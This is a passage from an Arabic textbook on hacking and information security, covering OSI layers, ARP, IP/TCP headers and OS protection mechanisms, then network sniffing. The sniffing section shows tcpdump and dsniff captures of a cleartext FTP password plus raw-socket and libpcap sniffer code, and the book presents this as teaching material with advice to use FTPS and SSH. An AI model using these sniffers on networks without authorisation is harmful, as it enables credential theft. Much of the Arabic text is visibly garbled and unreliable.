Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ال خيلو أي منزل اآلن من أي ُ deviceي َمكِّن لصاحبه من دطول اإلنرتنت! ،قاالنرتنت أصبح يشء أسايس وبدهيي يف
فرة يف حياتنا!. حرتم ”!“Google؟ ،ق َقد َأح َ
دث َلنا َط َ حياتناَ ،ق َمن منّا غري ُُمتَن للس ِّيد ا ُمل َ َ
وبام أننا َسنَهتَم باحلديث عن ّش َبكات احلاسب ،قسنقوم بإجراء ُمراجعة َِسيعة ملا َجيري داطل ال .OSI Layers
لنفرض أنك تقوم بتص ُّفح االنرتنت باستخدام ال ،browserأنت اآلن تتعامل مع ال Layer 7وذي ال ،App Layer
ربام تتفقد بريدك اإللكرتوين ،قتستخدم حينها بروتوكول ال SMTPمع ال POP3مع ًا ،أو ُربام تتجول داطل ال
Google+بحسابك الشخيص ،قتكون حينها تستمتع بالتصفح اآلمن باستخدام بروتوكول ال ،HTTPSأو ربام تقوم
بعمل Uploadلبعض امللفات ألحد املواقع قتكون حينها تستخدم بروتوكول ال ... ،FTPالخ.
ذذه األمور كي حتدث البد من قتح Socketsمع ال ،end pointsيتم ذلك يف ال Session Layerقهي املسؤولة عن
ربذا ال َ .dataذذه ال interfaceأو ال َ Socketستحتاج َأن تعتَمد عىل
توقري ال interfaceالتي َسنُرسل أو نَستَقبل َع َ
بروتوكول لتَوصيل ال dataذذه ،أليس كذلك؟
الذم َي َقع يف ال ،Transport Layerلهنا ال َط َب َقة التي تَيل
ذذا الربوتوكول سيكون لما TCPأو ،UDPوك ُ
ال .. Session Layer
ولكن لكي ُيكمل ذذا ال َ TCPع َمل ُه ،قسيحتاج ليصال ال Dataلىل ال ُ ،Destinationمعتمد ًا بذلك عىل
ال ،Layer 3وذي ال .Network Layer
Networking
][151
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
واآلن لنَفرض أن ذذه ال ” “Destination End Pointعبارة عن جهاز يقع يف شبكة حملية،
عمل ك ،Gatewayو Switchيربط األجهزة بالشبكة،
) ،LAN (Local Area Networkبالطبع سيكون ِبا َ routerي َ
جيدُ ..نود ليصال ذذه ال packetهلذا اجلهاز! ،وذو متصل بال Switchعن طريق ال .network cable
حسن ًا..
عندما تَصل ال packetلىل ال routerوتذذب لىل ال switchستنتهي حينها ُمهمة ال ،Layer 3وتبدأ ُمهمة ال
Layer 2وذي ال ،Data-Link Layerستقوم ذذه الطبقة بإيصال ال ” “frameلىل ذذا اجلهاز باستخدام ال Link
، Layer Protocolsوينقل ال cableذذا ال frameعىل ذيئة bits and bytesألن ُه ُيم ِّثل ال )(Physical Layer
،Layer 1ذذا ما ُيسمى بال ” “Service Blockكام أطربتُك سابق ًا ،وذو اعتامدية كل طبقة عىل األطرى لتكتمل
عملية ال Communicationsبني األنظمة.
)Layer 2 (Data-Link
ُ
سنأطذذا بيشء من كُنا قد تكلمنا عن ذذه ال Layerيف بداية ذذا الفصل بينام كُنا نُوضح ال ،OSI Modelواآلن
التفصيل .كام أرشنا سابق ًا بأن برتوكول ال Ethernetيتواجد يف ذذه الطبقة ،قام ذي وظيفته؟
Networking
][152
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا ال device ألي جهاز يريد أن يدطل لىل الشبكة قالبد أن يمتلك NICوذو كارت الشبكة،
حينها سيمتلك عنوان طاص به ،ال يتشابه مع أي عنوان آطر ،يطلق عليه Physical Addressأو ال
) ،MAC (Media Access Controlيتكون ذذا ال addressمن 6 bytesيظهر بصيغة ال .Hex
كام ييل:
xx:xx:xx:xx:xx:xx
تقوم ال Data-Link Layerبتوصيل ال framesمن جهاز لىل آطر داطل نفس ال .Broadcast Domain
ولكن ماذا لن أراد أحد األجهزة داطل الشبكة لرسال packetلىل جهاز يقع طارج الشبكة؟
ٍ
جهاز ما يف الشبكة عىل ال IPاخلاص به دعني يف البداية أحتدث معك عن بعض األساسيات املتعلقة بكيفية حصول
ُ
حيث عن طريق ال DHCP Serverووظيفة بروتوكول ال ARPيف ذذه العملية .سنقوم بتوصيل جهاز بالشبكة
يوجد ِبا ..DHCP Server
لنشاذد كيف سيتلقى ذذا اجلهاز ال IPاخلاص به .قهذا اجلهاز ال يمتلك IPبعد! ،ذو ققط يمتلك ..MAC
Optaining an address
Networking
][153
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
][154
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشبكة بأنه يريد استخدام ذذا ال ،IPقإن كان أحد األجهزة يمتلك ذذا ال IPبالفعل! قسيقوم بإرسال
،"already in use" ARP packetحينها سيقوم ذذا اجلهاز بمحادثة ال DHCP Serverمر ًة أطرى ليطلب منه
ُ IPمتلف ،وذكذا حتى يثبُت األمر.
ARP Messages
Networking
][155
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشكل يوضح ال ،ARP request and replyيبدو أن PC1ال يمتلك ال MACاملقابل لل IP 192.168.100.102
يف ال ARP Cacheلديه! ،وبالتايل لن يستطيع اإلتصال به ،قيقوم بإرسال ARP Requestلىل ال switchليستعلم
عن ذذا ال ،MACيستقبل ال Switchذذا ال ARP requestويقوم بعمل floodله من مجيع ال portsباستثناء ال
portالذي أتى منه ذذا ال ،requestذنا س ُيهمل مجيع األجهزة ذذه الرسالة باستثناء اجلهاز الذي حيمل ذذا ال IP
،192.168.100.102قيقوم بالرد ُمرسالً ARP reply msgلىل ال switchالذي يقوم بدوره بربط ذذا ال MAC
اجلديد بال portالذي جاء منه ذذا ال ،replyثم يقوم بإرساهلا لىل اجلهاز الذي طلب ذذا ال ،MACذذا اجلهاز
) (PC1لديه ARP Cacheيضع ِبا عناوين األجهزة التي معه يف الشبكة وال MAC Addressesاملناظرة هلا .قيقوم
بعمل Updateهلذا ال tableلديه.
Networking
][156
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نأيت لىل السؤال الذي طرحناه يف البداية! ..ماذا لن أراد أحد األجهزة لرسال packetلوجهة ما طارج ال Subnet؟؟.
عندما يرغب PC1بإرسال packetلىل PC3قإنه لن يرسل ARP Requestليستعلم عن ال MACاخلاص به،
ألنه يعلم أن ذذا ال PCيعد ..unreachableيقوم عوض ًا عن ذلك باستخدام ال ARPلعمل MAPلل
) (Gateway IP: 192.168.1.254لىل ال MACاملقابل له ،00-00-0C-00-01ويتعامل عىل أنه ذو ال Distination
MACمع اإلبقاء عىل ال ) (Dist. IP: 192.168.2.1وذو عنوان .PC3وعندما يصل ال frameلىل ال routerيقوم
بتسليمه لىل ال Network Layerحيث يتم لزالة ال MACمنها والبحث يف ال forwarding tableلدى ال router
عن ال interfaceالتي ينتمي لليها ذذا ال IPاخلاص باجلهاز ،PC3ويستخدم ال routerبروتوكول ال ARPأيض ًا
Networking
][157
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لعمل MAPهلذا ال IPلىل ال MACاملقابل له ثم يرسل ال packetلىل ال switchالذي يقوم بدوره بالبحث يف ال
CAM tableلديه عن ال Portاملقابل لل MACاخلاص بال PC3ثم يرسل ال frameمن ذذا ال .port
)Layer 3 (Network
ذذه الطبقة التي تُقدم لنا طدمات ال Addressing and Deliveryبشكل عام ،حتدثنا عنها يف بداية ذذا الباب قليالً،
لكننا بحاجة لذكر بعض اخلصائص ا ُملتعلقة ِبا حلاجتنا هلا يف الباب القادم.
IP Header
Networking
][158
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Version: These 4 bits specify the IP protocol version of the datagram, here it is IPv4.
Total Length: This is the total length of the IP datagram (header plus data),
measured in bytes.
Identifier, flags, fragmentation offset: These three fields have to do with so-called
IP fragmentation ""سنتكلم عن ذذه اخلاصية بعد قليل
Time-to-live: to ensure that datagrams do not circulate forever, this field is decremented by one
each time the datagram is processed
by a router. If the TTL field reaches 0, the datagram must be dropped.
Networking
[159]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لىل الPacket يف عملية التوصيل حيث ال يضمن لك بالضبط وصول الLess Reliable ُيعتَربIP ال،وبا ُملناسبة
لإلبالغ عن أي طلل حيدث أثناء عمليةICMP Packets نستخدم ال،ICMP ولذلك ظهرت قائدة ال.destination
ً قمث،Packet سيتم حتديد نوع الProtocol اخلاص بالField الحظ أنه يف ال،اإلرسال أو االستقبال
ال لو كانت
.ICMP حيث يعرب عن بروتوكول ال1 رقمfield سيحوي ذذا الICMP msg
ونستخدم نوعني شهريين، قيام بينهمTest Connectivity لعملHosts بشكل أسايس بني الICMP ُيستخدم ال
Echo Reply وEcho Request ذم الICMP Packets من ال
messages “ سأعرض لك بعض الPing” باستخدام برنامج صغري ُيسمىreply وrequest نقوم بتنفيذ ذذا ال
Networking
[160]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
IP Fragmentation
ُ
املسموح هلا باإلنتقال بنيPacket حيث تعني أكرب حجم لل "Maximum Transmission Unit" ذي الMTU ال
.Hosts ال
The maximum transmission unit (MTU) is the size of the largest network layer protocol data
unit that can be communicated in a single network transaction.
Networking
[161]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ويتم حتديد أقىص حجم مسموح به العتبارات عده ،منها تفادي ُحدوث أي Errorsأثناء اإلنتقال ،قال packetذات
احلجم الكبري تستغرق وقت ًا أطول للوصول لىل وجهتها ،وربام تُصيب ال Linkباإلجهاد و ُيصبح بطيئ ًا نسبي ًا.
Networking
][162
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
)Layer 4 (Transport
سنتكلم عن بعض املَفاذيم اجلديده التي َختُص ذذه الطبقة ،اقرتض معي أنك جتلس أمام جهازك ،وتتصفح أحد
املواقع ،وتقوم يف نفس الوقت بتحميل ملف عىل االنرتنت باستخدام برنامج ال ،FTPوأيض ًا تقوم بمحاولة اتصال
ِبذا املوقع باستخدام ال Telnetكما تقوم بفتح اتصال آطر بموقع ُمتلف عرب ال Telnetأيض ًا.
ِبذا الشكل يكون لديك اآليت:
Four application network processes running:
An HTTP Process, FTP Process, and Two Telnet Processes.
ربام تتسائل! ،كيف تتم عملية تصنيف ال Dataالقادمة من االنرتنت وتوصيلها لكل Processمنهم عىل الرغم من
تواجد لثنني منهم لنفس الربنامج ”! “Telnet؟ لهنا وظيفة ال Transport Layerحيث توقر لنا طدمة نُطلق عليها:
”“Multiplexing & Demultiplexing
ذيا لنُعيد ترتيب األحداث ،عندما تستقبل ال Transport Layerاخلاصة بك (داطل جهازك) ذذه ال Dataمن
الطبقة التي أسفل منها ،Network Layerقستقوم بتوصيل ذذه ال Dataلىل ال Processالتي تنتظرذا.
Networking
][163
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يتم ذلك عن طريق قحص ال Segment Headerليتم حتديد ال Socketاملناسبة هلذه ال Dataثم توجيه ال Data
Layerبال.“Multiplexing” :
Networking
][164
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
TCP Header
ماييل ال Headerاخلاص بطبقة ال .Transport
وذذا شكل آطر يعرض بعض التفاصيل اخلاصة بال fieldاملسمى ،Code Bitsأو ال TCP Flagsكام نسميها:
Networking
][165
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
التيMechanisms ُيمكنُنا تسميتها أيض ًا بال، من وجهة نظريFields اطرتت لك أقضل تعريفات هلذه ال
.Reliable Connection لتنفيذ عملية الTCP يستخد ُمها ال
Sequence number: Used for sequential numbering of packets of data flowing from sender to
receiver.
Gaps in the sequence numbers of received packets allow the receiver to detect a
lost packet. Packets with duplicate sequence numbers allow the receiver to detect
duplicate copies of a packet.
Acknowledgment: Used by the receiver to tell the sender that a packet or set of packets has been
received correctly.
Acknowledgments will typically carry the sequence number of the packet or packets being
acknowledged.
Negative acknowledgment: Used by the receiver to tell the sender that a packet has not been
received correctly. Negative acknowledgments will typically carry the sequence number of the
packet that was not received correctly.
Networking
[166]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Window: The sender may be restricted to sending only packets with sequence numbers that fall
within a given range.
By allowing multiple packets to be transmitted but not yet acknowledged, sender utilization can
be increased over a stop-and-wait mode of operation.
: عن ُقربFlags اخلاص بالField ذيا لنتعرف عىل الMechanisms واآلن وبعد أن تعرقنا عىل ذذه ال
: وذيFields بالتدقيق عىل ذذه الSegments بعملية تصنيف ِسيع للTransport تقوم طبقة ال
الحظ أن.Segment الذي حتمله ذذه الTCP Flag و أطري ًا نوع الAck number و الSequence number ال
ً ك
.32 bits عبارة عنAck و الSequence ال من ال
Networking
[167]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
][168
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
][169
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.(68) “ وذو الرقمACK = His Sequence number + 1” َق َسنُرسل له،واآلن نُريد أن نؤكد ل ُه استالمنا للرسالة
Networking
[170]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُيمكن َُك ُمراجعة Appendix-Bيف آطر الكتاب ملعرقة املزيد عن أساليب انتقال ال Trafficيف الواقع العميل داطل
شبكات ال ،Data Centersوأنواع ال Architecturesا ُملستخدَ َمة.
سنقوم يف الفصل القادم بتسليط الضوء عىل بعض املواضيع ا ُملتع ِّل َقة بأمن املعلومات ،ولجراء حتليل لعمليات
اإلطرتاق ،وبعض اآلليات املتبعة للحامية منها.
Networking
][171
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
[172]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Part III
Security & Attacks
Introduction
قريوس اإلنفلونزا!،،
ذذا الفريوس العجيب ،الذي ال يرتكنا حلالنا ،يأيت ل ُيزع ُجنا باستمرار! ،لديه قدرة ُمتازة عىل تطوير نفسه ليقوم
بإصابتنا مرار ًا وتكرار ًا! ،قهو يتغري مستخدم ًا طريقة تُسمى ” “Anti-Gen Driftحيث ال تتعرف عليه األجسام
املضادة التي تكونت يف أجسامنا جراء اإلصابة السابقة لنا به.
وبالتايل قعلينا جتربة ذذا ال Virusبالتغيري اجلديد الذي طرأ عليه كي يتسنى للجسم حتديث أجسامه املضادة ضده.
ياله من Virusلعني!.
ال يأطذ ذدنة ،أو قرتة راحة ،حيب العمل باستمرار لتطوير نفسه ورقع كفائتهُ ،ما ُجيرب رشكات األدوية عىل لجراء
التحديثات املستمرة عىل منتجاهتا املضادة لإلنفلونزا ،كي تواكب عمليات التطور لدى ذذا اخلصم ا ُملزعج.
لهنم يسببون لنا الكثري من املتاعب واألَضار وضياع للملفات والبيانات .وهلذا ظهرت احلاجة ا ُمل ّ
لحة لظهور أساليب
ٍ
بمحاوالت عدة إلحداث احلامية باطتالف مستوياهتا وأنواعها ،ققام Hackersبدراسة ذذه اآلليات األمنية وقاموا
اخلروق ِبا ،ونجحوا!..
ققام ُمطورو األنظمة األمنية بتطوير منتجاهتم و آلياهتم ملجاِبة ذؤالء ا ُملتحايلني عىل أنظمتهم ،وذكذا َج َرت ذذه ال
Cycleلىل ماال هناية!.
ولكن ذذه املشاكل التي ُحيدثها ال Crackersو ال Malware Authorsوغريذم ..سببت لنا بعض املناقع بالرغم من
األَضار التي عانينا منها بسببهم! .لهنم جيربوننا عىل التصدي هلم ولجياد احللول!.
They Force a Response… Which fixes the problem!.
ُيذك ُرين ذذا بالكتاب ” “Man Search for Meaningلصاحبه .Viktor Franki
بالرغم من قدَ م ذذا الكتاب حيث قام بتأليفه يف عام 1946لال أن ُه حيمل قكرة قويه ،وذي:
"لوال وجود املعاناة ..ملا أصبح للحياة معنى!".
1946؟؟ ..ذذا التاريخ ُيذك ُرين بقصة "نيلسون مانديال"! ،ققد انتقل لىل "أورالندو" يف ذذا العام لتبدأ رحلة معاناته
حلرية ،مرور ًا بسجنه لسب ٍع و عرشين عام ًا ،ثم يف النهاية قوزه يف االنتخابات ليتحقق ُحلم ُه ُ
وحلم َشعبه من أجل ا ُ
ال و ُمكاقح ًاَ ،ق َش ّك َلت ذذه ا ُملعاناة املعنى حلياته وحلياة َمن
باحلُرية.. ،قانتشار ال ُظلم والقهر َج َع َل من مانديال مناض ً
َحن أيض ًا نقول ..لوال وجود ذؤالء ال Crackersو ال Malware Authorsوغريذم من األرشار..
ون ُ
ملا ظهرت لنا احلاجة لىل ال "ُ "Securityبكل أشكاهلا و أنواعها..
Computer Security
تكلمنا يف الباب األول عن الربامج التي يتم كتابتها ثم عمل Compileهلا ومن ثم تشغيلها عىل ال ،O.Sبمعنى أننا
كُنا نُعطي صالحيات هلذا الربنامج بالتعامل مع ال Resourcesاملختلفة هلذا ال O.Sكأن يتعامل مع ال Memoryأو
يقوم بفتح file descriptorsأو لنشاء Socketsوغريذا من املهام ،أيض ًا كان يتعامل مع ال Hardwareاخلاصة
بالكمبيوتر لذا تطلب األمر.
كنا أثناء ذذه املرحلة نقوم بتسليط الضوء عىل ال Applicationsنفسها! ،كي نفهم كيف كانت تقوم بتنفيذ دورذا.
لكننا اآلن سنبدأ بتسليط الضوء عىل ال Operating Systemنفسه! ،لنرى قلسفته يف التعامل مع ذذه ال
Applicationsو ال .Users
قهذا ُيعد مثاالً جيد ًا لنفهم به أساسيات األمن واحلامية.
نُطلق عىل األساليب التي يستخدمها الكمبيوتر يف تأمني نفسه أثناء تشغيله بال ”“Protection Mechanisms
Rings
يتواجد يف ذذه ال Ringال ” “O.S Kernelوِبذا ُيعد ال ” “Most Trustedبالنسبة لاىل ال Computer
نأيت لىل ال ُ :Ring 1ذنا تقع بقية ال Operationsالعادية التي يقوم ِبا ال O.Sكتنفيذ ال Tasksاملختلفة أو عمل
.Processes Switching between
حيث كان قد قا َم بحفظ ال processاخلاصة بال Wordعند آطر وضع كانت عليه قبل عملية االنتقال لىل ال
.Browserليقوم بالعودة لليها مر ًة أطرى.
تُعد أيض ًا لىل ح ٍد ما Privilegedحيث يتواجد ِبا ال Input/Out Put Driversو ال system utilitiesاألطرى،
حيث ذي أشبه بال Special Filesوالتي ال يمكن للربامج أو ال Appsعمل Accessلليها دون االستعانة
بصالحيات ذذه ال .Ring
Operational States
ُذناك تصنيف لل Processمن حيث ال Process Modesقهي لما أن تكون يف نظام ال ( )User Modeحيث تكون
ُ
حيث متتلك الصالحيات ُمنخفضة ،“Low Privileges” .ولما أن تكون يف نظام ال ()Privileged Mode
،managerذذه ال processوغريذا يستطيع ال O.Sالتعامل معهم يف نفس الوقت ،والتبديل بينهم ،ولهناء ما ُيريد
منهم وذكذا.
Ready: The process is ready to resume or begin processing as soon as it is scheduled for
execution. If the CPU is available when the process reaches this state, it will transition directly
into the running state.
Waiting: “waiting for a resource”, the process is ready for continued execution but is waiting for
a device or access request.
Running: the process here executes on the CPU and keeps going until it finishes, or it blocks for
some reason.
Stopped When a process finishes or must be terminated (because an error occurs, a required
resource is not available, or a resource request can’t be met), it goes into a stopped state.
كام رأينا ،يقوم ال Operating Systemباستخدام ذذه ال Mechanismsحلامية نفسه من البيئة املحيطة به ،والواقعة
حتديد ًا يف ال ( .)Ring 3ويف احلقيقة دائ ًام ما يتعامل نظام التشغيل مع ال Applicationsوالربامج بأنواعها بأسلوب
وحيد ،يتلخص يف ذذه العبارة:
”!“Software is Not Trusted
Technical Mechanisms
سنتكلم عن بعض ال Technical Mechanismsالتي تؤطذ يف االعتبار عند تصميم ال ،Operating System
حيث ستوضح لنا كيف يتعامل نظام التشغيل مع البيئة املحيطة به .ومن بعض ذذه اآلليات ماييل:
Layering, Abstraction, Data Hiding, and Process Isolation
سنتناوهلم بالرتتيب:
Layering
ذذا ال Conceptمشابه ملبدأ ال Ringsاملعمول به يف ال ،x86 Architectureقهو ينص عىل وضع املهام وال
Functionsاحلساسة وا ُملهمة يف ال ( )Low Layersثم األقل أمهية يف ال ) ،(Upper Layersوذكذاُ ..يمكن
التواصل بني ذذه ال Layersعرب "ُ "interfacesحمددة لكي نتمكن من قرض رشوط التواصل ذذا! .قكُل Layer
Abstraction
ذذا ال Abstractionيشبه مفهوم ال ” “Black Boxingبعض اليشء..
نُطلق ذذا املصطلح عىل ال Deviceأو ال Systemأو ال Objectالذي يستقبل منك inputsويقوم بإطراج
،Outputsوال ُيطل ُعك عىل العمليات التي حدثت قيام بينهم!.
قلو جئنا لنُسق َط ُه عىل ال O.Sقنُالحظ أن نظام تشغيل مثل الويندوز ،ال ُيطل ُعك عىل التفاصيل التي حتدث عندما
تقوم بفتح برنامج ال Wordمث ً
ال ،ويكتفي بإظهار صورة صغرية لك بينام ذو يف ال Back Groundيقوم بعمل
اإلعدادات الالزمة لفتح الربنامج لك.
الشكل ُيوضح مفهوم ال :Black Boxing
يف عمليات ال Access Controlsعىل سبيل املثال ،بدالً من االنشغال بإعطاء الصالحيات املناسبة لكل ،User
و ُيسمى ُذنا ” ..“Subjectيكون الرتكيز عىل ال Objectsعوض ًا عن ذلك ،بمعنى أننا نقوم بإنشاء ،Groupsثم
نعطي الصالحيات لكل groupمنهم ،قيتم تصنيف ال usersعرب توزيعهم عىل ذذه ال .groups
ذذا األمر يظهر قائدته عند.group سيمتلك صالحيات ذذا ال، املناسب لهgroup لىل الuser وبمجرد أن ينتمي ال
.التعامل مع مستخدمني ُك ُثر وبصالحيات متفاوتة
Data Hiding
Security Level قهي توقر نوع من احلامية للبيانات عن طريق منحها،ً قليالLayering ذذ اخلاصية تُشبه مفهوم ال
Process Isolation
. التي تقع حتت سيطرتهresources حلامية نفسه ومجيع الO.S ذذه اخلاصية من أذم اخلصائص التي يستخدمها ال
أو الApplications ويتم السامح للربامج أو ال، لىل مساحات معزولة عن بعضهاmemory قيتم ُذنا تقسيم ال
. باستخدام ذذه املساحات بنا ًء عىل احتياجاهتاO.S التي تعمل عىل ذذا الutilites
process وذلك ب َمنع أي، عىل ُأطرىprocess بحيث ال تطغى أيprocesses ويقوم نظام التشغيل بحامية ذذه ال
Requires that the operating system provide separate memory spaces for each process’s
instructions and data. It also requires that the operating system enforce those boundaries,
preventing one process from reading or writing data that belongs to another process.
لىل ذنا نكون انتهينا من احلديث عن بعض األساسيات املتعلقة بال ”.“Computer Security
Network Sniffing
ٍ
هلذا الLog شبكة ما وعمل املار طاللTraffic للIntercept نُطلق عىل ذذا الربنامج الصغريالذي يقوم بعمل
.“Network Sniffer” بالTraffic
mode ذذا ال،“Promiscuous Mode” بوضع كارت الشبكة لديك عىل َوضعtcpdump يقوم برنامج مثل ال
.FTP والتي تُظهر التقاط احلساب اخلاص بالtcpdump ذذه نتائج ال
0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13
win 17304 <nop,nop,timestamp 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v
0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........
0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le
0x0050 6563 ec
21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[
0x0030 0007 1fc5 ....
21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76
win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite
0x0040 0d0a ..
21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27
win 17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v
0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...
226 0x400
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........
0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...
قكام تعلم أن البيانات التي يتم،FTP Server أثناء اتصاله بالFTP لقد تم التقاط حساب ا ُملستخدم اخلاص بال
.!Unencrypted تكونTelnet أو الFTP لرساهلا عرب الشبكة باستخدام بروتوكول ال
FTPS ألن الSession لن تظهر الFTP بدالً من الFTPS “ ُذنا بروتوكول الLeech” بالطبع لذا استخدم السيد
لتَحقيقSSH ُيفضل استخدام الTelnet وباملثل َبدَ الً من استخدام ال.Login يف تشفري عملية الSSL َيستَخدم ال
.اإلتصال اآلمن
.dsniff تقوم بالتقاط حسابات ا ُملستَخدمني بشكل ُمبارش مثل الtcpdump ال من ال
ً تُوجد أدوات أكثر تفصي
Dsniff:
reader@hacking:~/booksrc $ sudo dsniff -n
dsniff: listening on eth0
-----------------
12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
USER leech
PASS l8@nite
A raw socket when put in recvfrom loop receives all incoming packets. This is because it is not
bound to a particular address or port.
That’s all. The buffer will hold the data sniffed or picked up. The sniffing part is actually
complete over here. The next task is to actually read the captured packet, analyze it and present it
to the user in a readable format.
…
وكام،OSI Layers ل َيكشف من طالله ما حيدث داطل الRow Socket الرجل أن ُخيربنا أنه سيستخدم ال
ُ ُيريد ذذا
ثم،Row Socket ليكونSocket واطتار نوع ال،IPv4 بProtocol Family يظهر يف الكود ققد حدد نوع ال
التي تراذاArguments والتي تستقبل الrecvfrom( ) ثم استخدم ال.TCP حدد أنه ُيريد مراقبة بروتوكول ال
َ رب كارت الشبكة
ولكي َيكتمل،buffer وختزينه يف ال َ املار َعtraffic للCapture استخدمها كي يقوم بعمل،باألعىل
َ ل َع َمل َقرزfunction ال ُبد أن نَستخدم، الرائعSniffer ذذا ال
.data وعرض ذذه ال
.. قامذا سنستخدم؟،!أليس كذلك
. ُيمكنُك ُمراجعتها كي تتذكر آلية عملها.! التي َرشحناذا يف الفصل السابقdump( ) َسنستَخدم ال
int main(void) {
int i, recv_length, sockfd;
u_char buffer[9000];
if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
fatal("in socket");
for(i=0; i < 3; i++) {
recv_length = recv(sockfd, buffer, 8000, 0);
printf("Got a %d byte packet\n", recv_length);
dump(buffer, recv_length);
}
}
) كام يبدو داطل دالة ال3 Packets( لعددcapture ويقوم بعمل،TCP من نوعrow socket ذذا الكود يقوم بفتح
.For( )
buffer الحظ أننا يف البداية َعرقنا ا ُملتَغري.dump( ) باستخدام الpacket اخلاصة بكلrow data ثم يقوم بطباعة ال
َ ذل
.“ الذي حتدثنا عنه يف الباب الثاين؟the Server” تتذكر برنامج
الذيtext هلذا الcapture بعملsniffer ُجرب كيف سيقوم ال
ِّ ونserver هلذا الtexts سنقوم بإرسال بعض ال
.جيري لرساله
ِّ واآلن َسن،row socket باستخدام الsniffing لقد ُقمنا بتَجربة ال.ASCII ) بالA( ) تَعني0x41( تذكر َأن
ُجرب
.dsniff و الtcpdump والتي يستخد ُمها ال،libpcap library استخدام ال
libpcap Sniffer
int main() {
struct pcap_pkthdr header;
const u_char *packet;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;
int i;
device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);
ذذا ال objectسيحمل نفس ال variablesا ُملندر َجة حتت ذذا ال structكام تَع َلم.
ذاذي:
{ struct pcap_pkthdr
;struct timeval ts /* time stamp */
;bpf_u_int32 caplen /* length of portion present */
;bpf_u_int32 len /* length this packet (off wire) */
;}
ثم ُقمنا بتعريف ا ُملتغري الذي َسنَضع به ال row bytesبصيغة unsigned charكام أوضحنا سالف ًا .ويأيت بعده متغري
بإسم errbufله حجم ثابت وذو ،256 bytesسنستخدم ذذا ا ُملتغري لن ََضع به َمسار ال deviceالذي َس َيقوم بعملية
ال ،sniffingوذو يف حالتنا ُذنا سيكون /dev/eth0ونعني ِبا ethernet0لشار ًة لىل كارت الشبكة لدينا.
:اجلُزء األطري
for(i=0; i < 3; i++) {
packet = pcap_next(pcap_handle, &header);
printf("Got a %d byte packet\n", header.len);
dump(packet, header.len);
}
“Return the next available packet” : كاآليتfunction تُعت ََرب وظيفة ذذه ال
row bytes ل َيحمل بداطله الunsigned char وذو عبارة عن،packet األول ذو ال
.) ( َتكَلمنا عن ُه يف أول جزء،header اخلاص بالelements أو الattributes والثاين ذو أحد ال
.length ا ُملتعلق بالvariable سوى ذذا الstruct ذذا َيعني َأنَنا ال نُريد من ذذا ال
..تَم بنجاح
Layer Analysis
ذذا ال trafficاملار عرب الشبكة عبارة عن packetsحتتوي عىل dataو headersيوضح التفاصيل املُتع ِّلقة بتلك ال
.dataسنقوم اآلن ب َعمل ما ُيسمى بال ”.“Decoding the Layers
سنبدأ باملرور عىل الطبقات الثالث ،(Data-Link, Network, and Transport Layers) ،نقوم طالهلا بتفكيك
وحتليل حمتويات ال Headerاخلاص بكل طبقة ،وجتهيزذم كي يتم استخدامهم قيام بعد..
